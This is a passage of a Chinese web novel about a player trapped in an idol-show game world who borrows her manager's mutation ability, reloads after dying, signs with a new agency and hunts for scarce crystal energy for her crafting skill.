面前的少女半化作怪物，丑陋的黑色触手撕碎她洁白的皮肤，从她纤细的身体内迫不及待地钻出来，充满活力地挥舞着，仿佛在宣泄自己重见天日的兴奋。
少女的血肉横飞，身体碎裂，污染自下而上蔓延，那张漂亮的脸上——
却似乎无知无觉。
多么张扬肆意的笑容，多么清澈明亮的眼神，像找到了玩具的小孩。
既没有恐惧，也没有痛苦，没有绝望，没有无助……
她还在大喊大叫：“我的上帝啊，这实在是太有趣啦——就不能把小卫的异能给我吗？我求求你还不行吗？投诉！现在就投诉！”
“我的……异能？”
理智回了笼，来不及思考为何朝晖能用出他的能力，卫文谨不顾形象地大喊：“快停下！你会死的！这可不只是异能，这是……”
“警告！警告！警告！”
“亲爱的玩家，您正在遭受攻击，血量-5。”
“血量-5。”
“血量-5。”
朝晖忽然开始掉血，速度极快。
“诶？”她停下动作，“这是副作用吗？”
她打开个人面板，发现自己挂上了一个“异化中”debuff。
“是的，玩家，您快死了。”系统道。
玩家一共就100点初始血量，耐力增加8点，以目前的扣血速度，甚至撑不到半分钟。
“啊——这异能副作用有点大呀。”朝晖遗憾。
变身很帅，但是加起来能用的时间，满打满算不超过两分钟。
系统说：“您可以手动终止【偷窃】的效果，也可以等待死亡后自动读档。”
“那就等等吧，我还没死过呢！”玩家跃跃欲试。
……
卫文谨见她不理他，试图站起身，想要把她打晕。
——以前他失控的时候，就是用这个办法活下来的。
朝晖却并不让他近身，反而用天真到近乎荒谬的语气问：“你干嘛？”
经纪人对她还不错，有求必应，还把这么好玩的技能借给她。
无缘无故的，她不想打他。
玩家不是那种不讲道理的人（理直气壮）！
“别躲了，你——”
来不及了。
异化的速度实在太快。
卫文谨眼睁睁地看着少女的身体四分五裂，彻底化为一滩胡乱舞动的血肉触手。
她明亮纯澈的眼睛落在地上，很快被吞噬不见。
20. 云端能源（4）
眼前一黑，朝晖回到了安静而明亮的咖啡厅。
经纪人的黑西装仍一丝不苟，眼镜也尚未因变故而摇摇欲坠。
他迷茫地望着她——玩家正一手拿着牙刷，试图把它强行塞进对方嘴里。
卫文谨只觉一阵古怪的情绪涌上心头，面前闪过许许多多破碎的画面。
女孩，破碎，触手，异化……
“你没死？”他脱口而出，语气中泄出一点无法控制的担忧。
？
两人都愣了。
朝晖丈二和尚摸不着头脑：“诶，读档了他还记得吗？”
系统：“……应该是不记得的，但若上一个存档产生的记忆太过深刻，会影响到npc的行为。”
“啊——”
朝晖知道，部分游戏拥有这样的机制。
npc会根据玩家的行为模式产生一定变化，防止玩家无限读档刷bug。
行吧，只是没想到《逐梦演艺圈》还使用了这项技术，高级！
在她对面，卫文谨呆坐原地，脑中一片混乱。
记忆如同散落一地的拼图，支离破碎，凑不出完整的画面。
刚才的那句话便仿佛诅咒，不合时宜。
“抱歉，我……不是故意那么说的，我好像有点累了。”卫文谨低下头。
“没事。”
大度的玩家趁机收回牙刷——既然试用过技能，那就没必要再来一次了。
她现在没有回血的道具，用完牙刷之后还可能造成混乱，导致没办法拿到姜局长的奖励。
等她找到足够多的回血物品，嘿嘿嘿……
不过，不论她怎么撒泼打滚，系统都表示没办法把小卫的技能送给她。
她只能时不时借用一下过过瘾。
既然如此，首先就得保证小卫处在一个随叫随到、安全听话的位置。
那么最理想的情况，自然是像伊尔莎那样，让他变成自己的员工。
呵，区区年薪百万！
等着吧！迟早有一天，这个ssr会成为我的手下！
……
读到这里，想必各位小伙伴们和玩家一样，早已忘记最初约见咖啡厅的目的。
卫文谨一口灌下一整杯凉彻心扉的超浓冰美式，看着咖啡厅内逐渐增多、来来往往的客人，才终于找到散发人间烟火味道的真实感。
要是那群客人没有狗狗祟祟地挤在周围的座位，眼睛时不时就往这个方向偷瞄，那就更好了：）
好在他们选择了靠内的卡座，朝晖又坐在面朝墙壁的方向，不算太受影响。
“对了，这是姜局长托我带来的。”
卫文谨终于回过神，从皮包中取出一个精美的小袋子。
简洁大方的logo，淡紫色散发着香气的包装袋，里面装着一个低调有质感的黑色丝绒饰品盒。
朝晖：！
差点忘了新装备！
“不知道你说的‘属性好’是指什么……这个是x牌最新款，听说评价也很好，你看看喜不喜欢。”
卫文谨把袋子递给她，摘下眼镜疲惫地按摩着眼睛。
朝晖双眸亮晶晶的，黏在盒子上一动不动。
她“嗷”了一声，伸出爪子，飞快地把饰品盒打开。可怜的盒子发出不堪重负的“嘎吱”声，好悬没被她掰坏。
【精美的红宝石吊坠：
手工制品，银质项链，宝石坠面，辅以细钻点缀。制作精良，品相较好，唯一的缺点是宝石太小了。
智力+1，魅力+3，气场+1。
*似乎沾染了一些来自异种的气息，神秘+1。】
哇！
朝晖已经发现，装备加的基本都是次要属性。
但这个吊坠竟然加了1点主属性智力！
她不需要智力，但是想要继续给力量加点，需要让四个主属性平均值达到20。
所以能加一点是一点，这样她到时候就能省下宝贵的自由属性点了。
至于那堆乱七八糟的次要属性，有总比没有好嘛，玩家不嫌弃！
她反手就把吊坠大剌剌地给自己戴在了脖子上：“谢啦。”
卫文谨：……
看向拿人东西毫不手软的艺人，他沉默片刻，还是忍不住开口叮嘱：“你想要什么东西，记得打电话给我或者姜局长。别人要是送你，千万不要随随便便收下。”
吊坠并不是什么太贵重的东西。真正的奢侈品，不管是姜瑶还是卫文谨，都买不起，也不会给她买。
轻奢品牌，常见的材质，胜在制作精美、设计时尚，符合年轻人喜爱。
不到一万的小礼物，就能把她哄得眉开眼笑，这可不是好事。
“嗯？为什么？”朝晖歪头，“送给我不好吗？”
“以后你赚了钱，这些东西有的是，最新款限定款都能买。现在你就好好参加节目，把录制完成，多吸点粉丝方便以后正式出道，不会缺钱的。”
“世上没有免费的午餐，愿意送你礼物的人自然别有目的。”卫文谨道，“很容易惹上麻烦……嗯，如果是你的话，大概会是另一种麻烦。”
若是送礼的人想对朝晖做些什么，最终收获的，大概是吐血进医院吧；；
这，对于必须负责善后的经纪人来说，何尝不是一种麻烦呢？
“嗯嗯嗯。”
npc遮遮掩掩、唧唧歪歪的说话方式，朝晖觉得很腻。
熟练地把“剧情”当做背景音，她自顾自玩起了新项链。
正在拐弯抹角提醒她注意“潜规则”的卫文谨：……
算了。
他到底在担心什么啊！
明明已经知道对方的性格，为什么还要把脸凑过去被打呢？
卫文谨冷漠：“要不你早点回去休息吧。”
“好。”
朝晖站起身，周围座位上偷偷围观的路人们纷纷投来眼神。
“美得我想哭……”
“她对面的是寰天小偶像xxx的经纪人，我认识，长的贼帅。”
“朝晖签寰天了？？”
“寰天下午就官宣了，你没刷手机吧。”
……
似乎是想起了什么，朝晖忽然回头。
卫文谨扬眉：“还有什么事吗？”
朝晖嗯了一声：“忘记提醒你，注意安全，别死掉了。”
卫文谨：……
这是对他之前那句“你没死”的报复吗？
“你的异能好像很危险啊，也不知道你平时咋用。”朝晖嘀咕，“总之，千万别死了，我还想用呢。”
“咣！”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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经纪人的手一抖，手机掉在了桌子上，发出巨响。
整座咖啡厅内的视线都投了过来。
还好朝晖刚才嘀咕的那句声音比较小，路人们没听见。
卫文谨瞳孔放大，大脑飞速运转。
片刻后，他冷静买单，试图拉着朝晖，带她找个安全的地方继续聊。
手还没碰到她，不知为何就觉得肩膀一凉——生物的本能在疯狂阻止他。
被朝晖一圈捶到墙上的倒霉女孩吐血送医的照片浮现在他眼前。
“……朝小姐，要不我们去车上吧，我带你去周围兜兜风。”卫文谨能屈能伸。
“嗯？”
朝晖睁大眼睛，“兜风？有什么好玩的吗？”
“有啊，天也快黑了，夜景很漂亮。马上你就要封闭拍摄，出去逛两圈吧。怎么样？”卫文谨想了想，“再请你吃点东西……你想吃什么？西餐？素食？我知道一家味道很好的私房菜。”
“我要吃海鲜大排档！！”朝晖超大声。
“……？”
最后找了一家有私人包间的海鲜餐厅。
看向朝晖面前已经摞成高高一叠的空盘，卫文谨：“……你怎么知道我的，异能？”
“就是知道啊。”朝晖边吃边说。
玩家能读档，当然知道了。
看向眼前的一盘烤章鱼，她又补充了一句：“你别说，那玩意儿长得怪掉san的，忍不住就想吃烤海鲜。”
卫文谨：“……”
她说得粗暴，却也透露出了信息：她真的见过。
“那，请问你说‘你还想用呢’，又是什么意思？”卫文谨小心地使用着措辞。
“字面意思。”
“……你能用？”
朝晖点点头，把剩下的烤章鱼腿全部塞进嘴里，满足地叹了口气：“对呀，不过不到两分钟我就会挂了……找到加血物品势在必行啊！改天一定找机会去医院、药店看看！”
这段话被打码不少，卫文谨半懂不懂。
他有时候觉得，面前这家伙的脑袋或许真的被泥头车创过，时灵时不灵。
脑中不自觉地闪过她笔力遒劲的字迹。
以他的出身，能安然在这个世界活到现在，与一句话分不开关系：
有些东西没必要问。
“别说出去，行吗？我以后会帮你。”卫文谨果断道。
玩家会听他的吗？
玩家不会。
但或许是老天看不下去了，决定帮助倒霉男主一把，卫文谨刚刚说完这句话，脑袋上便冒出来一个熟悉的蓝色标志。
【支线任务：卫文谨的秘密。
无人知晓的异能者，怪异的形态，不合常理的用途，他究竟拥有什么样的过去呢？
帮助卫文谨保守秘密，不透露他异能者的身份。
奖励：异能存储模块。
只要这个秘密未被泄露，您就可以使用该奖励。否则，它将被回收。】
【异能存储模块：
使用该模块作为材料进行“创作”，成品可以储存一个异能，可充能。】
朝晖：！！！
朝晖真诚地握住经纪人的双手：“我办事你放心！我用我老板所有的头发发誓，这事儿天知地知，你知我知，绝不泄密！”
21. 云端能源（5-7）
（5）
一切手续办妥后，寰天文化在自己专门的社交账号上公布了“朝晖签约”相关新闻。
公司帐号没人关注，可闻讯而来的营销号一拥而上，加之寰天、《星光训练营》节目组悄然推波助澜，该话题成功冲上热搜，狠狠吸了一波流量。
大家吃瓜看乐子时，没想到第一个被冲的倒霉蛋是朱老板。
为了把自己“抢小公司新人”这一举止衬托得特别正义，寰天翻出星宇娱乐公司的黑料，将星宇旗下练习生、乃至朝晖本人之前说过的话拼拼凑凑，剪辑发布，把星宇娱乐打成了不可原谅的黑心压榨公司。
连朝晖打电话时说的话，也不知道怎么被他们拿到手了：
“……签寰天怎么样？”
“都行，只要宿舍比之前的好就行了。”
顶着“整活美女”人设的朝晖，摇身一变，化身被公司压榨、吃不好睡不好穿不好、明明有实力有天赋却没机会出头的小可怜。
她混乱的精神状态，也被解读为“生活凄惨太想出名不得不博人眼球”。
太惨了！
简直是当代美强惨啊！
网友们疯狂共情，狠狠怜爱！
朝晖人气飞涨的同时，朱老板被全网黑，每天都被人骂个不停，公司门口全是菜叶子和臭鸡蛋。
股价狂跌、人心惶惶，眼看着公司状况岌岌可危，距离凉凉也没有多远。
——还真符合了朝晖当时那句话：“让这破公司赶紧倒闭吧！”
这种情况下，朝晖和伊尔莎两人的十五年卖身契，都被迫以极低的价格转让给寰天。
一套轻描淡写的操作，就把一家运营多年的小公司整得永无出头之日，寰天文化再熟练不过了。
这波啊，是寰天和节目组双赢。
如今，每天都有急不可耐的秀粉疯狂催促节目开播，他们要给美强惨投票。
赛前热度这不就来了吗？
可惜事件的主人公，朝晖，对这一切全然不知。
她甚至都没有下载社交软件：）
手机内的app是游戏人物自带，有视频软件，可以看《星光训练营》、查数据；诸多小游戏；以及用来打电话的通讯录。
其他的软件，她还没点开过。
游戏是架空背景，为了贴合“未来感”，手机的设计似乎比现实中高端很多。朝晖本就把它当作做任务工具，没怎么研究，压根不知道有其他功能。
练习生们倒是结结实实吃完了瓜，却没一个敢去跟她聊天八卦。
说得上话的室友裴韫，恰是个极易受到外界影响的人，这两天正埋头苦练呢，不刷新闻。
“裴裴！”
周小满在食堂吃饭时，看见裴韫，高兴挥手。
她就是被朝晖称之为“卷毛贵宾犬”的妹子，非常自来熟。
“小满。”裴韫笑了笑。
朝晖从来不到食堂吃饭（玩家语：什么鬼东西，这么难吃？），所以裴韫经常是和周小满凑成饭搭子。
一来二去，一个啰嗦一个沉默，混成了还不错的朋友。
周小满把餐盘摆好，往四周瞟了眼，小声道：“你室友今天还是不来吃吗？”
附近可没什么饭店，不在食堂吃就只能点外卖。
对于要保持身材的练习生们来说，重油重盐的外卖乃绝对禁忌。
“她……应该不会来。”裴韫结结巴巴道。
她其实有一个小秘密，她不敢说。
——朝晖好像不吃饭！
她从来没见过自己的室友吃东西……
除此之外，室友既不洗漱，也不怎么睡觉。
她嘴里嘀嘀咕咕着奇怪的话，大部分都听不懂；不眠不休地泡在练习室，尤其是夜里。
不困，不饿，不累，不出汗……靠近的时候，能闻到她身上淡淡的香味，是衣服上残留的洗衣液清香。
可那件衣服，室友已经穿着一个星期没换过了。
简直不像人类一样……
惯于生活在底层的少女有种小动物般的直觉，她下意识觉得，这件事还是保密为好。
假装没看到，假装不知道。
朝晖偶尔会跟她说说话，态度很好，甚至可以说是相当热情——亲密地叫她猫猫室友，夸赞她漂亮，还会捏她的脸。
在练习室遇见的时候，只要她主动去搭话，朝晖从来不会不理她。
依靠这一点，她这样没背景的小透明，也能每天都蹭到珍贵的练习室使用。
和开始的伊尔莎一样，裴韫在什么都没发生、什么都不知道的情况下，就决定“投靠”朝晖，帮她保密。
周小满也不介意，毕竟朝晖在她眼里是个“大神”，和她们这种小角色本来就没有交集。
她兴奋地掏出手机，和朋友分享八卦。
“啊，这样吗？倒也正常！她最近可能正忙，我刚刚刷新闻，看到她签约寰天了。”
“诶？”
寰天文化，裴韫还是知道的。娱乐圈的霸主，无数顶级爱豆的培育基地。
对啊，朝晖那么厉害，那么漂亮，肯定会签约到一个大公司，肯定能够好好保护她自己。
裴韫点开新闻，看向那张美丽的公式照，以及下面愈发增多的评论……她不停地刷新界面，心中百味杂陈。
不是嫉妒，不是羡慕。
弱者要学会自我保护，要柔顺而迟钝，连氤氲在心头的苦与酸，都必须淡而无味。
如果不这样做，早就抵抗不住压力而崩溃了。
——有的人就是天生好命的，其他人再怎么样努力，也无法改变自己的命运。
“快看这条！朝晖又上了新热搜——她果然出门啦，有站姐拍到了她，据说出了一套神图，已经万推万赞了。”
贵宾犬嗓门不小，一个激动，没控制住音量，巴啦啦一顿喊，引来诸多目光。
裴韫“唰啦”一下脸变得通红。
按往常，她已经恨不得钻进地里去了。
可不知道是不是由于跟朝晖那家伙混了一段时间，现在她尴尬是尴尬，却还能控制情绪。
“我看看。”
裴韫凑到周小满旁边，点开社交软件上的大图。
是宿舍楼下的长廊。
那段路旁边绿化很好，直达附近的便利店和咖啡厅，平时常见站姐们在此蹲守。
少女在夕阳下奔跑，浓密的黑发飘扬在身后，姿态大方，不遮不掩，眼眸如星，亮得惊人。
下一张图，似乎是站姐喊了她，正好抓拍到她回眸看镜头的一幕。
朝晖的脸，不成熟，也不幼态。浓眉笑目，四肢修长，恰到好处的少年感，意气自飞扬。
让人联想到阳光明媚的操场，蝉鸣阵阵的午后，斑驳陆离的树影，交织着酸酸甜甜的花季雨季。
博主发的是生图，看画面色调也没修过。
但或许是摄影技术优秀，或许是模特太美，蓬勃的生命力从照片中洋溢而出，肆意生长。
——嗯，以上这么多彩虹屁，均为裴韫如假包换的真心话。
裴韫还有一个小秘密：
她是朝晖的颜粉。
怎么会，怎么会有人这么好看！
她打开自己的手机，确认登录的是小号之后，便转发点赞评论“啊啊啊好美”一条龙，然后疯狂存图。
发完之后，她赶紧把手机收起来，生怕被别人发现。
怪不好意思的。
“感觉朝晖的人气快超过姐妹花了，嘿嘿，其实我还是挺期待的。”贵宾犬暴露出乐子人的本性。
她和裴韫两人亲眼目睹过“朝晖捶人事件”，还签了保密协议。她们都知道朝晖是为了反击才打人的，而且还保护了被霸凌的人。
这仿佛拉近了彼此的距离，使她在心理上天然地站在朝晖这一边。
就好像你们班班长和隔壁班的吵架，哪怕你跟班长不熟，还是希望自己人能赢。
“她们啊……大家都很厉害，咱们还是不要讨论这些了吧。”裴韫谨慎地道。
姐妹花就是诸华清和盛绫儿，寰天文化似乎有意把她们打造成“双生”“红白玫瑰”“青梅”这样的人设，吃这款的观众也相当多。
前者相貌清冷，性格却很温和，在练习生中人缘不错；后者长着一张恶毒女二的美艳脸蛋，性格则与长相、名字都搭配得很好——突出一个盛气凌人。
但裴韫直觉前者才是一个更难对付的人。
此地人多眼杂，贵宾犬也点点头，俩人乖乖吃起饭。
然后“轰隆轰隆”的一阵响，泥头车创了进来。
“猫猫你在这儿啊，我怎么都找不到你！”
朝晖眺望四周，精准地发现了人群之中的裴韫，排山倒海、绕开所有npc，昂着大嗓门冲了过来：“快回宿舍，我有要紧的事情找你，我们的空调打不开了！”
裴韫：……
人头攒动的食堂骤然一静，人们像是被掐住了脖子的鸡，四周鸦雀无声。
偶有细微的碗筷碰撞声传来，当事者心惊胆战，低着头放轻动作。
在此万众瞩目之际，裴韫悲壮起身，匆匆把剩下的食物塞进嘴里，又给贵宾犬投过去一个求助的眼神——
贵宾犬眼神坚定：放心，我会帮你把餐盘收掉！
“啊，这样吗，怎么忽然打不开了？”
裴韫拽着朝晖的衣角，步伐轻柔却不失坚定地把她往门口拉：“下午不是还好好的吗？”
“不知道啊，自从我把电箱后面的晶石电池拆下来，空调好像就不工作了。宿舍又不能开窗户，好闷。”
朝晖不怕冷不怕热，就怕空气不流通，她会觉得很难受，所以空调是必定要开的。
她无法忍受星宇娱乐公司的宿舍，原因之一便是其狭小拥挤，空气太差。
宿舍楼的窗户为保安全，都安装了防盗网，窗户只能打开一点点，压根不透气。
裴韫：……
你要不要听听你在说什么？
就在此时，却听“咣铛”的一声，有人挺身而出，拍案而起！
盛绫儿。
她双手抱胸，下巴高扬，飙出一句粗口：“喊那么大声影响别人吃饭，一点都不顾及别人感受，你是不是有病啊？”
哦豁。
围观群众纷纷缩起脖子，大气不敢出。
盛绫儿人缘不咋地，但方才这一句话，却恰好说到了大家的心坎里——
朝晖真的太嚣张、太目中无人了！
与她相比，盛绫儿都显得那么的温柔和善！
所以大家纷纷暗自喝彩，期待她能治治朝晖。
“绫儿！”诸华清忙拉她衣袖。
俩人还在这拉拉扯扯的功夫，朝晖已经带着裴韫一溜烟窜出食堂。
“快快，赶紧把空调修好，我得睡一觉恢复精力，晚上看看能不能创作点别的东西。”朝晖火急火燎。
至于有npc大喊大叫？
那不是游戏场景的背景音吗，无视之。
裴韫：……
食堂的所有人：……
（6）
最终，裴韫去找了节目组员工，给宿舍电箱换上新电池。
“那么大一块电池能弄丢了？”师傅很震惊。
朝晖也嘀嘀咕咕：“这竟然是给整间宿舍供电的电池？换成能源就不到四个单位，也太少了吧。”
修理师傅本着负责的精神，将404宿舍整个儿检查了一遍，发现几乎所有电池都神秘失踪。
师傅：“……下次再有这种情况就要赔钱了。”
什么人啊！
闲的没事在这儿偷电池！
或许是朝晖的表情太过于理直气壮，长相也颇具欺骗性，师傅没怀疑她。
裴韫汗如雨下，急忙说着好话把师傅送走了。
“这个……姐姐，以后还是不要拿电池了。”裴韫回来后，尝试与玩家沟通，“你想要的话，自己买可能会好一点。”
朝晖也觉得是这么个道理。
她日后肯定会经常进行创作，做个牙刷就要4.5单位能源，整间404宿舍的供电电箱电池都还不够，光靠拆宿舍怕是会入不敷出。
“电池多少钱啊？”朝晖打开手机搜索引擎，输入“电池”二字进行检索。
普通晶石电池不贵，二三十块钱一盒，一般一盒有六节小电池。
不对。
看着商品图片上小电池那迷你的身躯，朝晖忽然有种不详的预感。
“如果你要电箱里这种……大概不到一千吧？”裴韫说。
她也没问朝晖拿电池去干啥。
朝晖：？
朝晖：“系统，你告诉我，假如是图片里这样的小电池，一节能提供多少能源？”
系统冷漠地回答：“根据型号不同，大约在0.001～0.01单位左右。”
朝晖：……
朝晖试图抢救：“所以上次我做的牙刷，需要整整4.5单位能源，应该算是消耗比较高、质量比较高级的了吧？”
系统丝毫不讲情面：“【创作】时消耗的能源与原材料品级、素材种类、附加材料均有关联，您制作的【爱唱歌的电动牙刷】属于最低级别。”
“选取能源时，能源等级越高、则所含晶石品质越高，额外消耗越少。建议您直接使用优质储能物品，更加节省哦。”
朝晖一把抢过裴韫的手机，看向她搜索出来的宿舍电箱同款蓄电池。
年后特价，只要998一块，好用耐用，内含优质晶石成分，至少能用一年。
她敏锐地询问：“值钱的是这个晶石成分吧？”
“是的。”
直接搜索晶石，这回出现的几乎全是工业订单，只批发不零售。
价格不等，最低品质的“粗劣原矿”按斤卖，稍高一点的品质，价格后面的零看得人眼花。
晶石还属于政府管制物品，限购非常严格，没有报备随意购买的话，一不小心就容易进局子。
因为它可以造武器。
朝晖怒：“这合理吗？技能所必需的能源如此稀少，我还怎么刷技能刷等级？”
牙刷看似效果强力——其“爱唱歌”的特点，会强迫敌人唱歌、失去异能8秒钟——可它的使用条件太不方便了。
万一敌人没有异能呢？
难道她在开打前，还得先把卫文谨拉过来刷牙？
就算敌人有异能，她也可能在把牙刷戳进对方嘴里之前，就被打败了！
系统：……
有没有可能，【创作】这项天赋，原本是不需要用到能源的呢？
有没有可能，它本来是让你去写歌的呢！！
系统委屈地抱住自己：“本游戏装载最为出色的物理引擎，严格遵循能量守恒定律。能源是必须的，且晶石会被消耗，就算是您创作出的物品，也有耐久度限制……”
“噶？”
朝晖拿出牙刷细细查看，眼睛都快瞎了，才在物品介绍的边边角角里发现一行小字：
耐久度10/10。
她用过一次，但由于重新读档，耐久度就没有被消耗。
西八——呀——
朝晖的钱包里，只有完成几个任务之后积攒的两三千块钱存款。
还是建立在她不需要吃饭、也没有购买任何其他物品的情况下，她才能把钱全存下来。
这么点钱，压根买不到晶石，只能去买大电池，搓两个牙刷。
这合理吗？
你们游戏，到底是不是在逼迫玩家尝试一些不符合社会主义核心价值观的东西！
“亲爱的玩家！”
系统慌忙打断她，“等节目正式开播，节目组就会根据播放量来给选手分成了，还有机会接到广告、商务。这是剧情路线中的合理收入，到时候就可以买能源了！”
朝晖满脸疲惫。
系统说得有道理，可节目开播还得好久呢！
三天后她们才会开始全封闭录制，录完后节目组要剪辑，看情况补录镜头。
第一期剪辑完成后，才会正式播出。
这磨磨叽叽的，又是一个多星期。
除此之外，根据她对这款游戏的了解，所谓“封闭录制”一旦开始，她多半就会被主线任务限制，没办法跑出来玩。
手机是要上交的，经纪人是见不到的，最多通过伊尔莎传递消息。
“究竟是我们公司哪个策划做出来的垃圾剧情？”朝晖掷地有声，“不行，今天我非得囤点儿能源不可！”
玩家行动力超强，说干就干。
第一个选择当然是找姜瑶。
“我亲爱的姜姐，能借我点钱吗？”朝晖泣涕涟涟。
姜局长：“这个啊，你要钱干什么呢？”
“买能源呀，要不，你帮我买一点也行！”
“……能源？你是……要充手机还是什么？”
“不是，是要晶石，就是电池里面的那种，不是电。”
“？”
姜瑶耳朵一竖，警惕地睁开眼：“晶石？这是限制物品，买不了的。你先告诉我，你要用来做什么？”
“我要搞创作！”朝晖大声嚷嚷，“就是写歌啊、编舞啊什么的，那种创作呀！”
姜瑶：……
可怜日理万机的姜局长，本来已经派出伊尔莎作为联络人，却没想到朝晖本人时不时就打电话来烦她，还提出各种过分的不合理要求。
她又不是她妈！
姜瑶放软了声音：“你要是觉得好玩的话，其实异能者是可以申请晶石购买额度的，但你必须要局里来，在专业人士的指导下才能接触哦。”
——这傻孩子，现在不仅不怎么闯祸，有事还知道第一时间给她打电话。
真是长大了！
或许，她是在哪里听说了晶石这东西，觉得好玩才想要的吧？
这么看的话，果然还是个小孩呢！
姜局长啊，这心里面忽然就暖融融的，有种被依赖的感觉。
朝晖苦苦哀求：“能不能通融一下？我就要一小块……唔，大概100个单位那么多就行。”
“多少？？”姜瑶的声音猛然拔高。
懂行的人才会用“单位”来计量晶石。这个单位，其实指的是晶石中蕴含的某种能量的数值。
“呃，100单位啊，能做20多个牙刷……但我还想做高阶一点的物品来着，可能用量会比较大。”朝晖挠头。
“……”
姜瑶感觉一股气从胸口窜到大脑，又从大脑窜回肚子，呼吸都快不顺畅了：“停，你知道100个单位是多少吗？你不知道！……算了，你是不是根本就不知道晶石单位的概念？”
“我哪知道，你快讲。”朝晖乖巧摇头。
“……一时半会儿的也说不清楚。我一会儿还要开会，总之，你要知道，我们平时使用的能源产品中，晶石成分含量都是非常少的，基本上来源于劣质晶石矿的边边角角，无法派上用场的部分。”
“大块的劣质晶石矿，一般会作为工业原料，企业在申请之后便可以购买，用于生产商品。”
“像这样的晶石矿，越是完整、体积大、蕴含的能源密度大，就越是少见、质量高，价格昂贵。因为晶石中的能源不可以被提取、融合。”
“市面上的小型器械，使用的晶石规格一般不超过10单位，可以使用一到两年。50单位以上的晶石，要么是巨无霸体积，难以投入使用；要么是有价无市的珍品。”
朝晖心不在焉：“嗷嗷，晓得了。”
“……你没有在听对吧？”
“嗯？怎么会呢？”朝晖一个激灵，“就是说100单位的很贵咯？那你可以给我100个1单位的呀。”
姜瑶扶额：“这完全是两种概念，‘100个1单位’和‘1个100单位’的晶石矿，珍贵程度完全不同——因为能源是不能提取出来的。你明白吗？”
“我明白，但我要100个1单位的就行。对吧系统？”
系统默默回答：“可以的。”
姜瑶：“1单位的比较常见，但你也不可能买那么多。普通市民是限购的，只有企业经过申请才能大批量购买。”
“像云端能源——他们这样的企业，主要就是做晶石矿加工，有自己的矿场、产业园区，是大量高科技企业的能源供应商。”
“从他们那边买的话，异能者每个月的个人额度是总量50个单位。”
“哇……”
朝晖一听“矿场”这种字眼，就忍不住地流口水，“他们一定富得流油吧，真好，要是我也能开矿场就好了。系统，我能不能去挖矿啊？”
俗话说得好，要想富先撸树。
可惜这不是一款生存向的游戏，城市中也没什么树能撸，但能挖矿也不赖呀！
系统：“……抢劫也许只会被逮捕，但您去矿场的话应该会被立刻击毙吧。”
而且……
姜瑶道：“他们应该不会出售给你。另一家比较大的飞鸟能源，每个月额度就只有40。这个额度是不能两头享受的，要签合约报备政府，所以只能在一家买哦。”
“为什么不出售给我！？”
朝晖特别委屈，“不是吧，系统，难道玩家买能源还有等级限制？”
姜瑶已
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经习惯性地忽视掉这孩子话中“阿巴巴”“咕噜噜”等听不懂的部分。
但剩下的字句，也足够她拼凑出朝晖想表达的意思。
她无奈地道：“孩子啊，你前几天刚打的人，这就忘了？”
“你揍的那个女孩儿，她爸爸就是云端能源的大股东之一，叫杨勇。我们好不容易才谈成和解，他不恨死你就不错了，怎么可能会允许云端能源和你交易，这点权力他还是有的。”
（7）
洛川上层社会中人，是很看不起娱乐圈艺人的，称之为“戏子”。
对于有权有势的财阀来说，“戏子”们是赚钱的工具，是可供操控的玩偶，是漂亮的摆件配饰，总之不是人。
所以杨勇的女儿闹着要去当“练习生”，让杨勇脸面全无。
这侧面暴露出他的泥腿子暴发户出身，妻子也是个毫无眼界的女人，才把女儿养成这副模样。
杨茉的童年像是色彩艳丽的画——这不是褒义，因为画面上不是美好的风景，而是戏剧性的、永无止境的冲突。
一幅怪诞的油画。
没有学识却很强势的母亲，总是用她那可笑的逻辑对他人指指点点；阴沉寡言自卑敏感的父亲，把在外面受到的气全部洒到家里人头上。
三天两头吵架，时不时大打出手。
夫妻二人很快发现，彼此之间的争吵毫无意义，于是他们共同把小女儿作为新的目标。
杨茉被要求做一个最优秀的女儿。
她要拥有妈妈所没有的学识，爸爸所有没有的自信，以及贵族小姐的风姿气度——
这样日后就能嫁进真正的财阀，为她的哥哥继承股份铺平道路。
杨茉什么都没有，只有钱。
爸爸妈妈给她很多很多的钱，而有了这些钱，她可以在外面肆意妄为。
哪怕把人欺负到死，家属们也宁可拿钱和解。因为，她的一点点零花钱，是“下等人”全家老小好几年工资。
“杨茉，暂就医于市人民医院。虽然已经脱离危险，也不会留下太大的后遗症，但你一拳打中她的胸腹部……她的呼吸系统还是会受影响，不能剧烈运动。且后背被碎裂的墙壁刮出许多伤口，恐怕会留疤。”
伊尔莎汇报消息，“加上错过这次S+选秀，杨茉的星途估计不会太顺利了。”
朝晖结束和姜瑶的通话后，失魂落魄地游荡到员工宿舍，找莎莎求安慰。
闻言，她叹了口气：“霸凌狗，活该。不过断人财路犹如伤人父母，她肯定很讨厌我。”
伊尔莎默了默：“……她可能不缺钱，大概是想成为大明星吧。”
在朝晖生活的世界里，好多富二代跑去当明星，所以她暂时不能体会到这个世界中杨茉的行为有多么异常罕见。
她反驳：“但当明星很赚啊！她家里要是有钱给她砸资源，火了的话就可以开始割韭菜了。”
伊尔莎：“……朝小姐，您是不是对艺人的工资有什么误解？”
朝晖能有什么误解？
她除了知道一个208万的梗，其他的根本啥也不知道，无解。
“扣除公司分成后，还得交税、给雇员发工资、给自己置装买奢侈品……年薪肯定比普通人高多了，但也高不到哪里去。”伊尔莎道。
这些资料，伊尔莎是主动去拜托安全局提供给她学习的，为的就是充实自己，有一天能派上用场。
瞧，现在这不就用上了？
伊尔莎翻出手机中的笔记，细细给上司解释：“哪怕是头部艺人，年薪也很少超过千万，一线艺人大约能达到百万级别，但数量寥寥无几。”
“绝大部分叫得上名字的四五线艺人，也就二三十万年薪，具体还得看接不接得到工作。至于十八线，勉强糊口罢了。”
“还有比较惨的，比如说《星光训练营》的PD余烬。他今年24岁，据说14岁就和他的公司万世娱乐签约，是15年期限、最低级的合同。赚来的钱几乎全被公司拿走，不接工作的话没底薪，连饭都吃不起，还得再熬五年才能解约。”
“估计他的年薪也就大几十万吧，这可是全洛川最火的顶流啊。他的粉丝天天骂公司，但也没办法。”
朝晖震惊：“这么惨？”
普通人能有几十万年薪，已经足够生活得很舒适了。
但艺人所处的环境，注定了他们的消费水平会比较高：要买名牌衣服首饰搭配自己，要花钱保养脸蛋身材，要住安全有保障的高档住宅，要聘用助理和保镖——这些钱，大部分的公司是不会出的。
何况，从小卖店零食的价格来看，洛川物价水平相当高，生活成本高昂。
要不怎么那么多倒霉蛋不得不去住贫民窟的窝棚呢？
几十万对于一个顶流艺人，属实是有点捉襟见肘。
不过朝晖一点儿也不同情他。
因为她堂堂玩家，到现在年薪还是0！
“朝小姐请放心，您现在和寰天的合约是甲级合约，55分成，是圈内最好的一类合同。”伊尔莎忙安慰她。
